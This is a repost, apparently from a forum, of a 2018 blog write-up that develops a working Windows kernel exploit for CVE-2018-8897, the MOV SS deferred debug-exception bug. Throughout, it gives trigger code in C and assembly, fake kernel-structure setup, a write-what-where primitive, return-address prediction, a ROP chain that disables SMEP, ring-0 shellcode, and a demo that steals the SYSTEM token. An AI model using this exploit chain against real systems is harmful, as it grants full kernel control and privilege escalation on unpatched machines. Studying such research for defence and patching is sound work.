Arbitrary Code Execution at Ring 0 using CVE-2018-8897

[Nytro]

Arbitrary Code Execution at Ring 0 using CVE-2018-8897

 

Can BölükMay 11, 201871324.7k

Just a few days ago, a new vulnerability allowing an unprivileged user to run #DB handler with user-mode GSBASE was found by Nick Peterson (@nickeverdox) and Nemanja Mulasmajic (@0xNemi). At the end of the whitepaper they published on triplefault.io, they mentioned that they were able to load and execute unsigned kernel code, which got me interested in the challenge; and that’s exactly what I’m going to attempt doing in this post.

Before starting, I would like to note that this exploit may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. I debugged it by “simulating” this situation.

Final source code can be found at the bottom.

0x0: Setting Up the Basics

The fundamentals of this exploit is really simple unlike the exploitation of it. When stack segment is changed –whether via MOV or POP– until the next instruction completes interrupts are deferred. This is not a microcode bug but rather a feature added by Intel so that stack segment and stack pointer can get set at the same time.

However, many OS vendors missed this detail, which lets us raise a #DB exception as if it comes from CPL0 from user-mode.

We can create a deferred-to-CPL0 exception by setting debug registers in such a way that during the execution of stack-segment changing instruction a #DB will raise and calling int 3 right after. int 3 will jump to KiBreakpointTrap, and before the first instruction of KiBreakpointTrap executes, our #DB will be raised.

As it is mentioned by the everdox and 0xNemi in the original whitepaper, this lets us run a kernel-mode exception handler with our user-mode GSBASE. Debug registers and XMM registers will also be persisted.

All of this can be done in a few lines like shown below:

1. #include <Windows.h>
2. #include <iostream>
3.  
4. void main()
5. {
6. static DWORD g_SavedSS = 0;
7.  
8. _asm
9. {
10. mov ax, ss
11. mov word ptr [ g_SavedSS ], ax
12. }
13.  
14. CONTEXT Ctx = { 0 };
15. Ctx.Dr0 = ( DWORD ) &g_SavedSS;
16. Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
17. Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
18. SetThreadContext( HANDLE( -2 ), &Ctx );
19.  
20. PVOID FakeGsBase = ...;
21.  
22. _asm
23. {
24. mov eax, FakeGsBase ; Set eax to fake gs base
25.  
26. push 0x23
27. push X64_End
28. push 0x33
29. push X64_Start
30. retf
31.  
32. X64_Start:
33. __emit 0xf3 ; wrgsbase eax
34. __emit 0x0f
35. __emit 0xae
36. __emit 0xd8
37. retf
38. X64_End:
39.  
40. ; Vulnerability
41. mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
42. int 3 ; Execute with interrupts disabled
43. nop
44. }
45. }

This example is 32-bit for the sake of showing ASM and C together, the final working code will be 64-bit.

Now let’s start debugging, we are in KiDebugTrapOrFault with our custom GSBASE! However, this is nothing but catastrophic, almost no function works and we will end up in a KiDebugTrapOrFault->KiGeneralProtectionFault->KiPageFault->KiPageFault->… infinite loop. If we had a perfectly valid GSBASE, the outcome of what we achieved so far would be a KMODE_EXCEPTION_NOT_HANDLED BSOD, so let’s focus on making GSBASE function like the real one and try to get to KeBugCheckEx.

We can utilize a small IDA script to step to relevant parts faster:

1. #include <idc.idc>
2.  
3. static main()
4. {
5. Message( "--- Step Till Next GS ---\n" );
6.  
7. while( 1 )
8. {
9. auto Disasm = GetDisasmEx( GetEventEa(), 1 );
10. if ( strstr( Disasm, "gs:" ) >= Disasm )
11. break;
12. StepInto();
13. GetDebuggerEvent( WFNE_SUSP, -1 );
14. }
15. }

0x1: Fixing the KPCR Data

Here are the few cases we have to modify GSBASE contents to pass through successfully:

– KiDebugTrapOrFault

1. KiDebugTrapOrFault:
2. ...
3. MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h

Pcr.Prcb.MxCsr needs to have a valid combination of flags to pass this instruction or else it will raise a #GP. So let’s set it to its initial value, 0x1F80.

– KiExceptionDispatch

1. KiExceptionDispatch:
2. ...
3. MEMORY:FFFFF8018C20DB5F mov rax, gs:188h
4. MEMORY:FFFFF8018C20DB68 bt dword ptr [rax+74h], 8

Pcr.Prcb.CurrentThread is what resides in gs:188h. We are going to allocate a block of memory and reference it in gs:188h.

– KiDispatchException

1. KiDispatchException:
2. ...
3. MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
4. MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h]

This is Pcr.Prcb.CurrentThread.ApcStateFill.Process and again we are going to allocate a block of memory and simply make this pointer point to it.

1. KeCopyLastBranchInformation:
2. ...
3. MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
4. MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h]

0x20 from GSBASE is Pcr.CurrentPrcb, which is simply Pcr + 0x180. Let’s set Pcr.CurrentPrcb to Pcr + 0x180 and also set Pcr.Self to &Pcr while on it.

– RtlDispatchException

This one is going to be a little bit more detailed. RtlDispatchException calls RtlpGetStackLimits, which calls KeQueryCurrentStackInformation and __fastfails if it fails. The problem here is that KeQueryCurrentStackInformation checks the current value of RSP against Pcr.Prcb.RspBase, Pcr.Prcb.CurrentThread->InitialStack, Pcr.Prcb.IsrStack and if it doesn’t find a match it reports failure. We obviously cannot know the value of kernel stack from user-mode, so what to do?

There’s a weird check in the middle of the function:

1. char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
2. {
3. ...
4. if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
5. {
6. ...
7. }
8. else
9. {
10. *v5 = 5;
11. result = 1;
12. *v3 = 0xFFFFFFFFFFFFFFFFi64;
13. *v4 = 0xFFFF800000000000i64;
14. }
15. return result;
16. }

Thanks to this check, as long as we make sure KThread.InitialStack (KThread + 0x28) is not equal to Pcr.Prcb.RspBase (gs:1A8h) KeQueryCurrentStackInformation will return success with 0xFFFF800000000000-0xFFFFFFFFFFFFFFFF as the reported stack range. Let’s go ahead and set Pcr.Prcb.RspBase to 1 and Pcr.Prcb.CurrentThread->InitialStack to 0. Problem solved.

RtlDispatchException after these changes will fail without bugchecking and return to KiDispatchException.

– KeBugCheckEx

We are finally here. Here’s the last thing we need to fix:

1. MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
2. MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
3. MEMORY:FFFFF8018C1FB95A call RtlCaptureContext

Pcr.CurrentPrcb->Context is where KeBugCheck saves the context of the caller and for some weird reason, it is a PCONTEXT instead of a CONTEXT. We don’t really care about any other fields of Pcr so let’s just set it to Pcr+ 0x3000 just for the sake of having a valid pointer for now.

0x2:  and Write|What|Where

And there we go, sweet sweet blue screen of victory!

 

Now that everything works, how can we exploit it?

The code after KeBugCheckEx is too complex to step in one by one and it is most likely not-so-fun to revert from so let’s try NOT to bugcheck this time.

I wrote another IDA script to log the points of interest (such as gs: accesses and jumps and calls to registers and [registers+x]) and made it step until  KeBugCheckEx is hit:

1. #include <idc.idc>
2.  
3. static main()
4. {
5. Message( "--- Logging Points of Interest ---\n" );
6.  
7. while( 1 )
8. {
9. auto IP = GetEventEa();
10. auto Disasm = GetDisasmEx( IP, 1 );
11.  
12. if
13. (
14. ( strstr( Disasm, "gs:" ) >= Disasm ) ||
15. ( strstr( Disasm, "jmp r" ) >= Disasm ) ||
16. ( strstr( Disasm, "call r" ) >= Disasm ) ||
17. ( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
18. ( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
19. )
20. {
21. Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
22. }
23.  
24. StepInto();
25. GetDebuggerEvent( WFNE_SUSP, -1 );
26.  
27. if( IP == ... )
28. break;
29. }
30. }

To my disappointment, there is no convenient jumps or calls. The whole output is:

1. - KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
2. - sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
3. -- KiExceptionDispatch (+5f): mov rax, gs:188h
4. --- KiDispatchException (+48): mov rax, gs:188h
5. --- KiDispatchException (+5c): inc gs:5D30h
6. ---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
7. ---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
8. ---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
9. --- KeBugCheckEx (+1a): mov rcx, gs:20h

This means that we have to find a way to write to kernel-mode memory and abuse that instead. RtlCaptureContext will be a tremendous help here. As I mentioned before, it is taking the context pointer from Pcr.CurrentPrcb->Context, which is weirdly a PCONTEXT Context and not a CONTEXT Context, meaning we can supply it any kernel address and make it write the context over it.

I was originally going to make it write over g_CiOptions and continuously NtLoadDriver in another thread, but this idea did not work as well as I thought (That being said, appearently this is the way @0xNemi and @nickeverdox got it working. I guess we will see what dark magic they used at BlackHat 2018.) simply because the current thread is stuck in an infinite loop and the other thread trying to NtLoadDriver will not succeed because of the IPI it uses:

NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock

After playing around with g_CiOptions for 1-2 days, I thought of a much better idea: overwriting the return address of RtlCaptureContext.

How are we going to overwrite the return address without having access to RSP? If we use a little bit of creativity, we actually can have access to RSP. We can get the current RSP by making Prcb.Context point to a user-mode memory and polling Context.RSP value from a secondary thread. Sadly, this is not useful by itself as we already passed RtlCaptureContext (our write what where exploit).

However, if we could return back to KiDebugTrapOrFault after RtlCaptureContext finishes its work and somehow predict the next value of RSP, this would be extremely abusable; which is exactly what we are going to do.

To return back to KiDebugTrapOrFault, we will again use our lovely debug registers. Right after RtlCaptureContext returns, a call to KiSaveProcessorControlState is made.

1. .text:000000014017595F mov rcx, gs:20h
2. .text:0000000140175968 add rcx, 100h
3. .text:000000014017596F call KiSaveProcessorControlState
4.  
5. .text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
6. .text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
7. .text:0000000140175C80 mov rax, cr0
8. .text:0000000140175C83 mov [rcx], rax
9. .text:0000000140175C86 mov rax, cr2
10. .text:0000000140175C89 mov [rcx+8], rax
11. .text:0000000140175C8D mov rax, cr3
12. .text:0000000140175C90 mov [rcx+10h], rax
13. .text:0000000140175C94 mov rax, cr4
14. .text:0000000140175C97 mov [rcx+18h], rax
15. .text:0000000140175C9B mov rax, cr8
16. .text:0000000140175C9F mov [rcx+0A0h], rax

We will set DR1 on gs:20h + 0x100 + 0xA0, and make KeBugCheckEx return back to KiDebugTrapOrFault just after it saves the value of CR4.

To overwrite the return pointer, we will first let KiDebugTrapOrFault->…->RtlCaptureContext execute once giving our user-mode thread an initial RSP value, then we will let it execute another time to get the new RSP, which will let us calculate per-execution RSP difference. This RSP delta will be constant because the control flow is also constant.

Now that we have our RSP delta, we will predict the next value of RSP, subtract 8 from that to calculate the return pointer of RtlCaptureContext and make Prcb.Context->Xmm13 – Prcb.Context->Xmm15 written over it.

Thread logic will be like the following:

1. volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
2.  
3. while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
4. uint64_t StackInitial = Ctx->Rsp;
5. while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
6. // between sequential KiDebugTrapOrFault
7. StackDelta = Ctx->Rsp - StackInitial;
8. PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
9. uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
10. NextRetPtrStorage &= ~0xF;
11. *( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
12. // Make RtlCaptureContext write XMM13-XMM15 over it

Now we simply need to set-up a ROP chain and write it to XMM13-XMM15. We cannot predict which half of XMM15 will get hit due to the mask we apply to comply with the movaps alignment requirement, so first two pointers should simply point at a [RETN] instruction.

We need to load a register with a value we choose to set CR4 so XMM14 will point at a [POP RCX; RETN] gadget, followed by a valid CR4 value with SMEP disabled. As for XMM13, we are simply going to use a [MOV CR4, RCX; RETN;] gadget followed by a pointer to our shellcode.

The final chain will look something like:

1. -- &retn; (fffff80372e9502d)
2. -- &retn; (fffff80372e9502d)
3. -- &pop rcx; retn; (fffff80372ed9122)
4. -- cr4_nosmep (00000000000506f8)
5. -- &mov cr4, rcx; retn; (fffff803730045c7)
6. -- &KernelShellcode (00007ff613fb1010)

In our shellcode, we will need to restore the CR4 value, swapgs, rollback ISR stack, execute the code we want and IRETQ back to user-mode which can be done like below:

1. NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
2.  
3. using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
4. NON_PAGED_DATA BYTE IRetToVulnStub[] =
5. {
6. 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
7. 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
8. 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
9. 0xFB, // sti ; enable interrupts
10. 0x48, 0xCF // iretq ; interrupt return
11. };
12.  
13. NON_PAGED_CODE void KernelShellcode()
14. {
15. __writedr( 7, 0 );
16.  
17. uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
18. __writecr4( Cr4Old & ~( 1 << 20 ) );
19.  
20. __swapgs();
21.  
22. uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
23.  
24. // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
25. while (
26. ( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
27. ( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
28. {
29.  
30. __rollback_isr( IsrStackIterator );
31.  
32. // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
33. if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
34. {
35. /*
36. fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
37. fffff00e`d7a1bc40 0000000000000010
38. fffff00e`d7a1bc48 0000000000000002
39. fffff00e`d7a1bc50 fffff00ed7a1bc68
40. fffff00e`d7a1bc58 0000000000000000
41. fffff00e`d7a1bc60 0000000000000014
42. fffff00e`d7a1bc68 00007ff7e2261e95 --
43. fffff00e`d7a1bc70 0000000000000033
44. fffff00e`d7a1bc78 0000000000000202
45. fffff00e`d7a1bc80 000000ad39b6f938
46. */
47. IsrStackIterator = IsrStackIterator + 0x30;
48. break;
49. }
50.  
51. IsrStackIterator -= StackDelta;
52. }
53.  
54.  
55. PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
56. Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
57.  
58. // ------ KERNEL CODE ------
59.  
60. ....
61.  
62. // ------ KERNEL CODE ------
63.  
64. __swapgs();
65.  
66. ( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
67. ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
68. }

We can’t restore any registers so we will make the thread responsible for the execution of vulnerability store the context in a global container and restore from it instead. Now that we executed our code and returned to user-mode, our exploit is complete!

Let’s make a simple demo stealing the System token:

1. uint64_t SystemProcess = *k_PsInitialSystemProcess;
2. uint64_t CurrentProcess = k_PsGetCurrentProcess();
3.  
4. uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
5. uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
6.  
7. for ( int i = 0; i < 0x500; i += 0x8 )
8. {
9. uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
10.  
11. if ( ( Member & ~0xF ) == CurrentToken )
12. {
13. *( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
14. break;
15. }
16. }
17.  
18.  
19. k_PsDereferencePrimaryToken( CurrentToken );
20. k_PsDereferencePrimaryToken( SystemToken );

 

 

 

 

Sursa: https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/